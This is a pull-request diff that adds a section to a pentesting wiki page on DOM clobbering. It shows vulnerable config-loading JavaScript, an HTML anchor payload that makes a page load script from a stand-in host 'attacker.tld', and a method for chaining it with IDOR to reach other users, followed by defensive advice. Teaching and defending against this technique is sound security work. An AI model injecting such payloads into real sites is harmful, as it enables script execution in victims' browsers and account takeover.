Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
64 changes: 63 additions & 1 deletion src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
Original file line number Diff line number Diff line change
Expand Up @@ -242,11 +242,73 @@ It's possible to add **new entries inside a form** just by **specifying the `for

- For more form attributes in [**button check this**](https://www.w3schools.com/tags/tag_button.asp)**.**


## HTMLCollection-backed config object clobbering

A very practical pattern is when the application reads a config object from `window` and later uses one of its properties in a sink such as `script.src`:

```javascript
let config = window.PixelAnalyticsConfig || {
enabled: false,
scriptUrl: '/js/mock-tracker.js'
};
if (config.enabled) {
let s = document.createElement('script');
s.src = config.scriptUrl;
document.body.appendChild(s);
}
```

If you can inject HTML and the sanitizer keeps `id` / `name`, duplicate IDs can create an `HTMLCollection` on `window`, and named members of that collection become properties of the clobbered object:

```html
<a id="PixelAnalyticsConfig"></a>
<a id="PixelAnalyticsConfig" name="enabled"></a>
<a id="PixelAnalyticsConfig" name="scriptUrl" href="https://attacker.tld/xss.js"></a>
```

Then the browser resolves something similar to:

```javascript
window.PixelAnalyticsConfig // HTMLCollection (truthy)
window.PixelAnalyticsConfig.enabled // <a name="enabled"> (truthy)
window.PixelAnalyticsConfig.scriptUrl // <a name="scriptUrl" href="https://attacker.tld/xss.js">
```

This is powerful because the code often only checks **truthiness**, not types. When `script.src = config.scriptUrl` executes, the browser coerces the anchor element to a string, and anchors stringify to their `href`. Therefore a DOM clobbering primitive becomes a **remote script loader**.

### Why this is frequently exploitable

1. The app treats `window.someConfig || {}` as trusted.
2. Duplicate IDs produce an `HTMLCollection` instead of a single node.
3. `name` attributes become object-like properties on that collection.
4. URL-valued sinks (`script.src`, `iframe.src`, `fetch()`, redirects, etc.) coerce DOM nodes to strings.
5. If CSP allows the target origin, or no restrictive `script-src` exists, attacker JS executes.

### Chaining note: converting self-XSS into higher-impact XSS

If the HTML injection is only rendered inside the attacker's own storage bucket (profile, draft, testimonial list, etc.), DOM clobbering may initially look like self-XSS. Check whether predictable session cookies, IDOR/BOLA, shared objects, or authorization flaws let you:

1. **Store** the payload in another user's scope.
2. **Render** that same stored payload while authenticated as the victim/admin.

This is especially relevant when the sink is only reached after loading user-specific content.

### Defensive notes

- Avoid patterns like `window.someConfig || {}` for security-sensitive values such as script URLs.
- Treat DOM clobbering as a **type-confusion** problem: validate that `config` is a plain object and that `scriptUrl` is a string from an allowlisted origin/path.
- DOMPurify documents `SANITIZE_DOM` as the DOM-clobbering protection and current docs show it enabled by default; if you relax it, `id` / `name` based gadgets become much easier to exploit.
- A restrictive CSP such as `script-src 'self'` can block the final remote script load even if HTML injection and clobbering are still present.

## References

- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
- [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.
- [How I Chained Three Bugs to XSS an Intigriti CTF — IDOR + DOM Clobbering + DOMPurify 3.0.9 Bypass](https://prateekpulastya.medium.com/how-i-chained-three-bugs-to-xss-an-intigriti-ctf-idor-dom-clobbering-dompurify-3-0-9-bypass-25b74fc7afc7)
- [DOMPurify repository / configuration examples](https://github.com/cure53/DOMPurify)
- [Lab: Exploiting DOM clobbering to enable XSS](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering)
- [Bypassing CSP via DOM clobbering](https://portswigger.net/research/bypassing-csp-via-dom-clobbering)

{{#include ../../banners/hacktricks-training.md}}

Expand Down